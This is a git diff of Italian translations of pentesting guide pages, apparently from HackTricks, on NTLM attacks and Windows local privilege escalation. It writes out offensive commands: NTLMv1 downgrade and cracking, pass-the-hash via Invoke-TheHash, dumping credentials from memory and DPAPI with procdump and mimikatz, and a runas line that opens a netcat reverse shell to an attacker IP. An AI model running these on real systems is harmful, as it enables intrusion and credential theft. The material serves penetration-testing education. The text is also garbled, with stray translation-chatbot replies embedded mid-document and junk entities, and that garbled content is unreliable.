## Informazioni di base
|
||||
## Informazioni di Base
|
||||
|
||||
Negli ambienti in cui sono in funzione **Windows XP e Server 2003**, vengono utilizzati gli hash LM (Lan Manager), sebbene sia ampiamente riconosciuto che questi possano essere facilmente compromessi. Un particolare hash LM, `AAD3B435B51404EEAAD3B435B51404EE`, indica uno scenario in cui LM non è impiegato, rappresentando l'hash per una stringa vuota.
|
||||
|
||||
@ -12,9 +12,9 @@ La presenza dell'intestazione **"NTLMSSP"** nei pacchetti di rete segnala un pro
|
||||
|
||||
Il supporto per i protocolli di autenticazione - LM, NTLMv1 e NTLMv2 - è facilitato da un DLL specifico situato in `%windir%\Windows\System32\msv1\_0.dll`.
|
||||
|
||||
**Punti chiave**:
|
||||
**Punti Chiave**:
|
||||
|
||||
- Gli hash LM sono vulnerabili e un hash LM vuoto (`AAD3B435B51404EEAAD3B435B51404EE`) ne segnala la non utilizzazione.
|
||||
- Gli hash LM sono vulnerabili e un hash LM vuoto (`AAD3B435B51404EEAAD3B435B51404EE`) segnala il suo non utilizzo.
|
||||
- Kerberos è il metodo di autenticazione predefinito, con NTLM utilizzato solo in determinate condizioni.
|
||||
- I pacchetti di autenticazione NTLM sono identificabili dall'intestazione "NTLMSSP".
|
||||
- I protocolli LM, NTLMv1 e NTLMv2 sono supportati dal file di sistema `msv1\_0.dll`.
|
||||
@ -44,12 +44,12 @@ Valori possibili:
|
||||
4 - Send NTLMv2 response only, refuse LM
|
||||
5 - Send NTLMv2 response only, refuse LM & NTLM
|
||||
```
|
||||
## Schema di autenticazione di base NTLM
|
||||
## Schema di autenticazione di base NTLM Domain
|
||||
|
||||
1. L'**utente** introduce le sue **credenziali**
|
||||
2. La macchina client **invia una richiesta di autenticazione** inviando il **nome del dominio** e il **nome utente**
|
||||
3. Il **server** invia la **sfida**
|
||||
4. Il **client** cripta la **sfida** utilizzando l'hash della password come chiave e la invia come risposta
|
||||
4. Il **client cripta** la **sfida** utilizzando l'hash della password come chiave e la invia come risposta
|
||||
5. Il **server invia** al **Domain controller** il **nome del dominio, il nome utente, la sfida e la risposta**. Se non **c'è** un Active Directory configurato o il nome del dominio è il nome del server, le credenziali vengono **verificate localmente**.
|
||||
6. Il **domain controller verifica se tutto è corretto** e invia le informazioni al server
|
||||
|
||||
@ -63,7 +63,7 @@ L'autenticazione è come quella menzionata **prima ma** il **server** conosce l'
|
||||
|
||||
La **lunghezza della sfida è di 8 byte** e la **risposta è lunga 24 byte**.
|
||||
|
||||
L'**hash NT (16byte)** è diviso in **3 parti di 7byte ciascuna** (7B + 7B + (2B+0x00\*5)): l'**ultima parte è riempita di zeri**. Poi, la **sfida** è **cifrata separatamente** con ciascuna parte e i **byte cifrati risultanti** sono **uniti**. Totale: 8B + 8B + 8B = 24Bytes.
|
||||
L'**hash NT (16byte)** è diviso in **3 parti di 7byte ciascuna** (7B + 7B + (2B+0x00\*5)): l'**ultima parte è riempita di zeri**. Poi, la **sfida** è **criptata separatamente** con ciascuna parte e i **byte criptati risultanti sono uniti**. Totale: 8B + 8B + 8B = 24Bytes.
|
||||
|
||||
**Problemi**:
|
||||
|
||||
@ -75,17 +75,17 @@ L'**hash NT (16byte)** è diviso in **3 parti di 7byte ciascuna** (7B + 7B + (2B
|
||||
|
||||
### Attacco NTLMv1
|
||||
|
||||
Al giorno d'oggi sta diventando meno comune trovare ambienti con Delegazione Non Vincolata configurata, ma questo non significa che non puoi **abuse un servizio Print Spooler** configurato.
|
||||
Al giorno d'oggi sta diventando meno comune trovare ambienti con Delegazione Non Vincolata configurata, ma questo non significa che non puoi **abusare di un servizio Print Spooler** configurato.
|
||||
|
||||
Potresti abusare di alcune credenziali/sessioni che hai già sull'AD per **chiedere alla stampante di autenticarsi** contro qualche **host sotto il tuo controllo**. Poi, utilizzando `metasploit auxiliary/server/capture/smb` o `responder` puoi **impostare la sfida di autenticazione a 1122334455667788**, catturare il tentativo di autenticazione, e se è stato fatto utilizzando **NTLMv1** sarai in grado di **crackarlo**.\
|
||||
Se stai usando `responder` potresti provare a \*\*usare il flag `--lm` \*\* per cercare di **downgrade** l'**autenticazione**.\
|
||||
&#xNAN;_Nota che per questa tecnica l'autenticazione deve essere eseguita utilizzando NTLMv1 (NTLMv2 non è valido)._
|
||||
Se stai usando `responder` potresti provare a \*\*usare il flag `--lm` \*\* per cercare di **downgradare** l'**autenticazione**.\
|
||||
_Note che per questa tecnica l'autenticazione deve essere eseguita utilizzando NTLMv1 (NTLMv2 non è valido)._
|
||||
|
||||
Ricorda che la stampante utilizzerà l'account del computer durante l'autenticazione, e gli account dei computer usano **password lunghe e casuali** che probabilmente non sarai in grado di crackare utilizzando dizionari comuni. Ma l'autenticazione **NTLMv1** **usa DES** ([maggiori informazioni qui](#ntlmv1-challenge)), quindi utilizzando alcuni servizi specialmente dedicati a crackare DES sarai in grado di crackarlo (potresti usare [https://crack.sh/](https://crack.sh) o [https://ntlmv1.com/](https://ntlmv1.com) per esempio).
|
||||
|
||||
### Attacco NTLMv1 con hashcat
|
||||
|
||||
NTLMv1 può essere anche rotto con il NTLMv1 Multi Tool [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) che formatta i messaggi NTLMv1 in un metodo che può essere rotto con hashcat.
|
||||
NTLMv1 può anche essere rotto con il NTLMv1 Multi Tool [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) che formatta i messaggi NTLMv1 in un metodo che può essere rotto con hashcat.
|
||||
|
||||
Il comando
|
||||
```bash
|
||||
@ -149,7 +149,7 @@ It seems that you haven't provided the text you want to be translated. Please sh
|
||||
|
||||
586c # this is the last part
|
||||
```
|
||||
I'm sorry, but I need the specific text you want translated in order to assist you. Please provide the content you'd like me to translate to Italian.
|
||||
Sure, please provide the text you would like me to translate to Italian.
|
||||
```bash
|
||||
NTHASH=b4b9b02e6f09a9bd760f388b6700586c
|
||||
```
|
||||
@ -214,7 +214,7 @@ Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff
|
||||
```
|
||||
#### Invoke-TheHash
|
||||
|
||||
Questa funzione è un **mix di tutte le altre**. Puoi passare **diversi host**, **escludere** alcuni e **selezionare** l'**opzione** che desideri utilizzare (_SMBExec, WMIExec, SMBClient, SMBEnum_). Se selezioni **uno** tra **SMBExec** e **WMIExec** ma non fornisci alcun parametro _**Command**_, controllerà semplicemente se hai **sufficienti permessi**.
|
||||
Questa funzione è un **mix di tutte le altre**. Puoi passare **diversi host**, **escludere** alcuni e **selezionare** l'**opzione** che desideri utilizzare (_SMBExec, WMIExec, SMBClient, SMBEnum_). Se selezioni **uno** di **SMBExec** e **WMIExec** ma non fornisci alcun parametro _**Command**_, controllerà semplicemente se hai **sufficienti permessi**.
|
||||
```
|
||||
Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0
|
||||
```
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### **Miglior strumento per cercare vettori di escalation dei privilegi locali in Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
### **Miglior strumento per cercare vettori di escalation dei privilegi locali di Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
|
||||
## Teoria Iniziale di Windows
|
||||
|
||||
@ -16,7 +16,7 @@ access-tokens.md
|
||||
|
||||
### ACL - DACL/SACL/ACE
|
||||
|
||||
**Controlla la seguente pagina per ulteriori informazioni su ACL - DACL/SACL/ACE:**
|
||||
**Controlla la seguente pagina per ulteriori informazioni sulle ACL - DACL/SACL/ACE:**
|
||||
|
||||
{{#ref}}
|
||||
acls-dacls-sacls-aces.md
|
||||
@ -57,21 +57,21 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches
|
||||
```
|
||||
### Version Exploits
|
||||
|
||||
Questo [sito](https://msrc.microsoft.com/update-guide/vulnerability) è utile per cercare informazioni dettagliate sulle vulnerabilità di sicurezza di Microsoft. Questo database ha più di 4.700 vulnerabilità di sicurezza, mostrando la **massiccia superficie di attacco** che un ambiente Windows presenta.
|
||||
Questo [sito](https://msrc.microsoft.com/update-guide/vulnerability) è utile per cercare informazioni dettagliate sulle vulnerabilità di sicurezza di Microsoft. Questo database ha più di 4.700 vulnerabilità di sicurezza, mostrando la **massive attack surface** che un ambiente Windows presenta.
|
||||
|
||||
**Sul sistema**
|
||||
**On the system**
|
||||
|
||||
- _post/windows/gather/enum_patches_
|
||||
- _post/multi/recon/local_exploit_suggester_
|
||||
- [_watson_](https://github.com/rasta-mouse/Watson)
|
||||
- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas ha watson integrato)_
|
||||
|
||||
**Localmente con informazioni di sistema**
|
||||
**Locally with system information**
|
||||
|
||||
- [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester)
|
||||
- [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng)
|
||||
|
||||
**Repo Github di exploit:**
|
||||
**Github repos of exploits:**
|
||||
|
||||
- [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub)
|
||||
- [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits)
|
||||
@ -79,7 +79,7 @@ Questo [sito](https://msrc.microsoft.com/update-guide/vulnerability) è utile pe
|
||||
|
||||
### Environment
|
||||
|
||||
Qualsiasi informazione di credenziali/juicy salvata nelle variabili di ambiente?
|
||||
Qualsiasi credenziale/informazione sensibile salvata nelle variabili di ambiente?
|
||||
```bash
|
||||
set
|
||||
dir env:
|
||||
@ -95,7 +95,7 @@ type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.tx
|
||||
cat (Get-PSReadlineOption).HistorySavePath
|
||||
cat (Get-PSReadlineOption).HistorySavePath | sls passw
|
||||
```
|
||||
### File di trascrizione PowerShell
|
||||
### PowerShell Transcript files
|
||||
|
||||
Puoi imparare come attivarlo in [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)
|
||||
```bash
|
||||
@ -134,7 +134,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
```
|
||||
Gli eventi di registrazione per il Script Block possono essere trovati all'interno di Windows Event Viewer al percorso: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\
|
||||
Gli eventi di registrazione per il Script Block possono essere trovati all'interno del Visualizzatore eventi di Windows al percorso: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\
|
||||
Per visualizzare gli ultimi 20 eventi puoi usare:
|
||||
```bash
|
||||
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
|
||||
@ -218,7 +218,7 @@ Esegui semplicemente il file binario creato per elevare i privilegi.
|
||||
|
||||
### MSI Wrapper
|
||||
|
||||
Leggi questo tutorial per imparare a creare un wrapper MSI utilizzando questi strumenti. Nota che puoi avvolgere un "**.bat**" se vuoi **solo** **eseguire** **comandi**
|
||||
Leggi questo tutorial per imparare a creare un wrapper MSI utilizzando questi strumenti. Nota che puoi avvolgere un "**.bat**" file se vuoi **solo** **eseguire** **comandi**
|
||||
|
||||
{{#ref}}
|
||||
msi-wrapper.md
|
||||
@ -269,7 +269,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
|
||||
```
|
||||
### LAPS
|
||||
|
||||
**LAPS** è progettato per la **gestione delle password degli amministratori locali**, garantendo che ogni password sia **unica, casuale e regolarmente aggiornata** sui computer collegati a un dominio. Queste password sono memorizzate in modo sicuro all'interno di Active Directory e possono essere accessibili solo dagli utenti a cui sono state concesse sufficienti autorizzazioni tramite ACL, consentendo loro di visualizzare le password degli amministratori locali se autorizzati.
|
||||
**LAPS** è progettato per la **gestione delle password degli amministratori locali**, garantendo che ogni password sia **unica, casuale e regolarmente aggiornata** sui computer collegati a un dominio. Queste password sono memorizzate in modo sicuro all'interno di Active Directory e possono essere accessibili solo dagli utenti a cui sono state concesse autorizzazioni sufficienti tramite ACL, consentendo loro di visualizzare le password degli amministratori locali se autorizzati.
|
||||
|
||||
{{#ref}}
|
||||
../active-directory-methodology/laps.md
|
||||
@ -306,7 +306,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO
|
||||
|
||||
### Enumerare Utenti e Gruppi
|
||||
|
||||
Dovresti controllare se uno dei gruppi a cui appartieni ha permessi interessanti
|
||||
Dovresti controllare se uno dei gruppi a cui appartieni ha permessi interessanti.
|
||||
```bash
|
||||
# CMD
|
||||
net users %username% #Me
|
||||
@ -332,7 +332,7 @@ Se **appartieni a un gruppo privilegiato, potresti essere in grado di elevare i
|
||||
### Manipolazione dei token
|
||||
|
||||
**Scopri di più** su cosa sia un **token** in questa pagina: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\
|
||||
Controlla la seguente pagina per **scoprire token interessanti** e come abusarne:
|
||||
Controlla la pagina seguente per **scoprire token interessanti** e come abusarne:
|
||||
|
||||
{{#ref}}
|
||||
privilege-escalation-abusing-tokens.md
|
||||
@ -393,7 +393,7 @@ todos %username%" && echo.
|
||||
```
|
||||
### Estrazione password dalla memoria
|
||||
|
||||
Puoi creare un dump della memoria di un processo in esecuzione utilizzando **procdump** di sysinternals. Servizi come FTP hanno le **credenziali in chiaro nella memoria**, prova a eseguire il dump della memoria e a leggere le credenziali.
|
||||
Puoi creare un dump della memoria di un processo in esecuzione utilizzando **procdump** di sysinternals. Servizi come FTP hanno le **credenziali in chiaro nella memoria**, prova a dumpare la memoria e leggere le credenziali.
|
||||
```bash
|
||||
procdump.exe -accepteula -ma <proc_name_tasklist>
|
||||
```
|
||||
@ -436,7 +436,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
|
||||
Se stai riscontrando questo errore (ad esempio con SSDPSRV):
|
||||
|
||||
_Errore di sistema 1058 si è verificato._\
|
||||
&#xNAN;_Til servizio non può essere avviato, o perché è disabilitato o perché non ha dispositivi abilitati associati ad esso._
|
||||
_Til servizio non può essere avviato, o perché è disabilitato o perché non ha dispositivi abilitati associati ad esso._
|
||||
|
||||
Puoi abilitarlo usando
|
||||
```bash
|
||||
@ -489,10 +489,10 @@ sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
|
||||
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
|
||||
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
|
||||
```
|
||||
### Servizi modifica permessi del registro
|
||||
### Modifica delle autorizzazioni del registro dei servizi
|
||||
|
||||
Dovresti controllare se puoi modificare qualche registro di servizio.\
|
||||
Puoi **controllare** i tuoi **permessi** su un **registro** di servizio facendo:
|
||||
Puoi **controllare** le tue **autorizzazioni** su un **registro** di servizio eseguendo:
|
||||
```bash
|
||||
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
|
||||
|
||||
@ -501,7 +501,7 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\
|
||||
|
||||
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
|
||||
```
|
||||
Deve essere verificato se **Authenticated Users** o **NT AUTHORITY\INTERACTIVE** possiedono permessi di `FullControl`. In tal caso, il binario eseguito dal servizio può essere modificato.
|
||||
Deve essere verificato se **Authenticated Users** o **NT AUTHORITY\INTERACTIVE** possiedono i permessi `FullControl`. In tal caso, il binario eseguito dal servizio può essere modificato.
|
||||
|
||||
Per cambiare il percorso del binario eseguito:
|
||||
```bash
|
||||
@ -604,7 +604,7 @@ privilege-escalation-with-autorun-binaries.md
|
||||
|
||||
### Driver
|
||||
|
||||
Cerca possibili driver **di terze parti strani/vulnerabili**.
|
||||
Cerca possibili driver **di terze parti strani/vulnerabili**
|
||||
```bash
|
||||
driverquery
|
||||
driverquery.exe /fo table
|
||||
@ -640,7 +640,7 @@ Controlla altri computer noti hardcoded nel file hosts
|
||||
```
|
||||
type C:\Windows\System32\drivers\etc\hosts
|
||||
```
|
||||
### Interfacce di Rete & DNS
|
||||
### Interfacce di rete e DNS
|
||||
```
|
||||
ipconfig /all
|
||||
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
|
||||
@ -662,7 +662,7 @@ Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIn
|
||||
arp -A
|
||||
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
|
||||
```
|
||||
### Firewall Rules
|
||||
### Regole del Firewall
|
||||
|
||||
[**Controlla questa pagina per i comandi relativi al Firewall**](../basic-cmd-for-pentesters.md#firewall) **(elenca regole, crea regole, disattiva, disattiva...)**
|
||||
|
||||
@ -721,7 +721,7 @@ Puoi quindi utilizzare `runas` con l'opzione `/savecred` per utilizzare le crede
|
||||
```bash
|
||||
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
|
||||
```
|
||||
Utilizzando `runas` con un insieme di credenziali fornite.
|
||||
Utilizzando `runas` con un insieme di credenziali fornito.
|
||||
```bash
|
||||
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
|
||||
```
|
||||
@ -733,12 +733,12 @@ L'**API di Protezione Dati (DPAPI)** fornisce un metodo per la crittografia simm
|
||||
|
||||
**DPAPI consente la crittografia delle chiavi attraverso una chiave simmetrica derivata dai segreti di accesso dell'utente**. In scenari che coinvolgono la crittografia del sistema, utilizza i segreti di autenticazione del dominio del sistema.
|
||||
|
||||
Le chiavi RSA dell'utente crittografate, utilizzando DPAPI, sono memorizzate nella directory `%APPDATA%\Microsoft\Protect\{SID}`, dove `{SID}` rappresenta l'[Identificatore di Sicurezza](https://en.wikipedia.org/wiki/Security_Identifier) dell'utente. **La chiave DPAPI, co-locata con la chiave master che protegge le chiavi private dell'utente nello stesso file**, consiste tipicamente di 64 byte di dati casuali. (È importante notare che l'accesso a questa directory è ristretto, impedendo l'elenco dei suoi contenuti tramite il comando `dir` in CMD, anche se può essere elencata tramite PowerShell).
|
||||
Le chiavi RSA dell'utente crittografate, utilizzando DPAPI, sono memorizzate nella directory `%APPDATA%\Microsoft\Protect\{SID}`, dove `{SID}` rappresenta il [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) dell'utente. **La chiave DPAPI, co-locata con la chiave master che protegge le chiavi private dell'utente nello stesso file**, consiste tipicamente di 64 byte di dati casuali. (È importante notare che l'accesso a questa directory è ristretto, impedendo l'elenco dei suoi contenuti tramite il comando `dir` in CMD, anche se può essere elencata tramite PowerShell).
|
||||
```powershell
|
||||
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
|
||||
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
|
||||
```
|
||||
Puoi utilizzare il **modulo mimikatz** `dpapi::masterkey` con gli argomenti appropriati (`/pvk` o `/rpc`) per decrittarlo.
|
||||
Puoi usare il **modulo mimikatz** `dpapi::masterkey` con gli argomenti appropriati (`/pvk` o `/rpc`) per decrittarlo.
|
||||
|
||||
I **file di credenziali protetti dalla password principale** si trovano solitamente in:
|
||||
```powershell
|
||||
@ -748,7 +748,7 @@ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
|
||||
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
||||
```
|
||||
Puoi usare il **modulo mimikatz** `dpapi::cred` con il corretto `/masterkey` per decriptare.\
|
||||
Puoi **estrarre molti DPAPI** **masterkeys** dalla **memoria** con il modulo `sekurlsa::dpapi` (se sei root).
|
||||
Puoi **estrarre molti DPAPI** **masterkey** dalla **memoria** con il modulo `sekurlsa::dpapi` (se sei root).
|
||||
|
||||
{{#ref}}
|
||||
dpapi-extracting-passwords.md
|
||||
@ -788,7 +788,7 @@ e in `HKCU\Software\Microsoft\Terminal Server Client\Servers\`
|
||||
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
|
||||
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
|
||||
```
|
||||
### **Gestore delle credenziali di Desktop remoto**
|
||||
### **Gestore delle credenziali di Desktop Remoto**
|
||||
```
|
||||
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
|
||||
```
|
||||
@ -801,7 +801,7 @@ Le persone spesso usano l'app StickyNotes sui workstation Windows per **salvare
|
||||
|
||||
### AppCmd.exe
|
||||
|
||||
**Nota che per recuperare password da AppCmd.exe devi essere Amministratore e eseguire con un livello di alta integrità.**\
|
||||
**Nota che per recuperare le password da AppCmd.exe devi essere Amministratore e eseguire con un livello di alta integrità.**\
|
||||
**AppCmd.exe** si trova nella directory `%systemroot%\system32\inetsrv\` .\
|
||||
Se questo file esiste, allora è possibile che alcune **credenziali** siano state configurate e possano essere **recuperate**.
|
||||
|
||||
@ -886,13 +886,13 @@ $ErrorActionPreference = $OrigError
|
||||
### SCClient / SCCM
|
||||
|
||||
Controlla se `C:\Windows\CCM\SCClient.exe` esiste .\
|
||||
Gli installer vengono **eseguiti con privilegi di SYSTEM**, molti sono vulnerabili a **DLL Sideloading (Info da** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
|
||||
Gli installer vengono **eseguiti con privilegi SYSTEM**, molti sono vulnerabili a **DLL Sideloading (Info da** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
|
||||
```bash
|
||||
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
|
||||
if ($result) { $result }
|
||||
else { Write "Not Installed." }
|
||||
```
|
||||
## Files and Registry (Credenziali)
|
||||
## File e Registro (Credenziali)
|
||||
|
||||
### Credenziali Putty
|
||||
```bash
|
||||
@ -978,7 +978,7 @@ Cerca un file chiamato **SiteList.xml**
|
||||
|
||||
### Cached GPP Pasword
|
||||
|
||||
Una funzionalità era precedentemente disponibile che consentiva il deployment di account amministratore locali personalizzati su un gruppo di macchine tramite Group Policy Preferences (GPP). Tuttavia, questo metodo presentava significative vulnerabilità di sicurezza. In primo luogo, gli oggetti di Criteri di Gruppo (GPO), memorizzati come file XML in SYSVOL, potevano essere accessibili da qualsiasi utente di dominio. In secondo luogo, le password all'interno di questi GPP, crittografate con AES256 utilizzando una chiave predefinita documentata pubblicamente, potevano essere decrittografate da qualsiasi utente autenticato. Questo rappresentava un serio rischio, poiché poteva consentire agli utenti di ottenere privilegi elevati.
|
||||
Una funzionalità era precedentemente disponibile che consentiva il deployment di account amministratori locali personalizzati su un gruppo di macchine tramite Group Policy Preferences (GPP). Tuttavia, questo metodo presentava significative vulnerabilità di sicurezza. In primo luogo, gli oggetti di Criteri di Gruppo (GPO), memorizzati come file XML in SYSVOL, potevano essere accessibili da qualsiasi utente di dominio. In secondo luogo, le password all'interno di questi GPP, crittografate con AES256 utilizzando una chiave predefinita documentata pubblicamente, potevano essere decrittografate da qualsiasi utente autenticato. Questo rappresentava un serio rischio, poiché poteva consentire agli utenti di ottenere privilegi elevati.
|
||||
|
||||
Per mitigare questo rischio, è stata sviluppata una funzione per scansionare i file GPP memorizzati localmente contenenti un campo "cpassword" che non è vuoto. Una volta trovato un file del genere, la funzione decrittografa la password e restituisce un oggetto PowerShell personalizzato. Questo oggetto include dettagli sul GPP e sulla posizione del file, aiutando nell'identificazione e nella risoluzione di questa vulnerabilità di sicurezza.
|
||||
|
||||
@ -1220,8 +1220,8 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
|
||||
```
|
||||
## Leaked Handlers
|
||||
|
||||
Immagina che **un processo in esecuzione come SYSTEM apra un nuovo processo** (`OpenProcess()`) con **accesso completo**. Lo stesso processo **crea anche un nuovo processo** (`CreateProcess()`) **con privilegi bassi ma ereditando tutti i handle aperti del processo principale**.\
|
||||
Quindi, se hai **accesso completo al processo con privilegi bassi**, puoi afferrare l'**handle aperto al processo privilegiato creato** con `OpenProcess()` e **iniettare uno shellcode**.\
|
||||
Immagina che **un processo in esecuzione come SYSTEM apra un nuovo processo** (`OpenProcess()`) con **accesso completo**. Lo stesso processo **crea anche un nuovo processo** (`CreateProcess()`) **con privilegi bassi ma ereditando tutti i gestori aperti del processo principale**.\
|
||||
Quindi, se hai **accesso completo al processo con privilegi bassi**, puoi afferrare il **gestore aperto al processo privilegiato creato** con `OpenProcess()` e **iniettare un shellcode**.\
|
||||
[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\
|
||||
[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
|
||||
|
||||
@ -1233,7 +1233,7 @@ Windows fornisce una funzionalità chiamata **Named Pipes**, che consente a proc
|
||||
|
||||
Quando i dati vengono inviati attraverso una pipe da un **client**, il **server** che ha impostato la pipe ha la possibilità di **assumere l'identità** del **client**, a condizione che abbia i necessari diritti **SeImpersonate**. Identificare un **processo privilegiato** che comunica tramite una pipe che puoi imitare offre l'opportunità di **ottenere privilegi più elevati** adottando l'identità di quel processo una volta che interagisce con la pipe che hai stabilito. Per istruzioni su come eseguire un attacco del genere, puoi trovare guide utili [**qui**](named-pipe-client-impersonation.md) e [**qui**](#from-high-integrity-to-system).
|
||||
|
||||
Inoltre, il seguente strumento consente di **intercettare una comunicazione di named pipe con uno strumento come burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **e questo strumento consente di elencare e vedere tutte le pipe per trovare privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
|
||||
Inoltre, il seguente strumento consente di **intercettare una comunicazione tramite named pipe con uno strumento come burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **e questo strumento consente di elencare e vedere tutte le pipe per trovare privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
|
||||
|
||||
## Misc
|
||||
|
||||
@ -1329,11 +1329,11 @@ sc start newservicename
|
||||
Da un processo ad alta integrità potresti provare a **abilitare le voci di registro AlwaysInstallElevated** e **installare** una reverse shell utilizzando un _**.msi**_ wrapper.\
|
||||
[Maggiori informazioni sulle chiavi di registro coinvolte e su come installare un pacchetto _.msi_ qui.](#alwaysinstallelevated)
|
||||
|
||||
### Privilegi High + SeImpersonate a System
|
||||
### High + SeImpersonate privilege to System
|
||||
|
||||
**Puoi** [**trovare il codice qui**](seimpersonate-from-high-to-system.md)**.**
|
||||
|
||||
### Da SeDebug + SeImpersonate a privilegi di token completi
|
||||
### From SeDebug + SeImpersonate to Full Token privileges
|
||||
|
||||
Se hai quei privilegi di token (probabilmente li troverai in un processo già ad alta integrità), sarai in grado di **aprire quasi qualsiasi processo** (processi non protetti) con il privilegio SeDebug, **copiare il token** del processo e creare un **processo arbitrario con quel token**.\
|
||||
Utilizzando questa tecnica di solito **si seleziona qualsiasi processo in esecuzione come SYSTEM con tutti i privilegi di token** (_sì, puoi trovare processi SYSTEM senza tutti i privilegi di token_).\
|
||||
@ -1341,30 +1341,30 @@ Utilizzando questa tecnica di solito **si seleziona qualsiasi processo in esecuz
|
||||
|
||||
### **Named Pipes**
|
||||
|
||||
Questa tecnica è utilizzata da meterpreter per escalare in `getsystem`. La tecnica consiste nel **creare un pipe e poi creare/abuse un servizio per scrivere su quel pipe**. Poi, il **server** che ha creato il pipe utilizzando il privilegio **`SeImpersonate`** sarà in grado di **impersonare il token** del client del pipe (il servizio) ottenendo privilegi SYSTEM.\
|
||||
Questa tecnica è utilizzata da meterpreter per eseguire l'**escalation in `getsystem`**. La tecnica consiste nel **creare un pipe e poi creare/abuse un servizio per scrivere su quel pipe**. Poi, il **server** che ha creato il pipe utilizzando il privilegio **`SeImpersonate`** sarà in grado di **impersonare il token** del client del pipe (il servizio) ottenendo privilegi SYSTEM.\
|
||||
Se vuoi [**saperne di più sui named pipes dovresti leggere questo**](#named-pipe-client-impersonation).\
|
||||
Se vuoi leggere un esempio di [**come passare da alta integrità a System utilizzando i named pipes dovresti leggere questo**](from-high-integrity-to-system-with-name-pipes.md).
|
||||
|
||||
### Dll Hijacking
|
||||
|
||||
Se riesci a **hijackare un dll** che viene **caricato** da un **processo** in esecuzione come **SYSTEM** sarai in grado di eseguire codice arbitrario con quei permessi. Pertanto, il Dll Hijacking è utile anche per questo tipo di escalation dei privilegi e, inoltre, è **molto più facile da ottenere da un processo ad alta integrità** poiché avrà **permessi di scrittura** sulle cartelle utilizzate per caricare i dll.\
|
||||
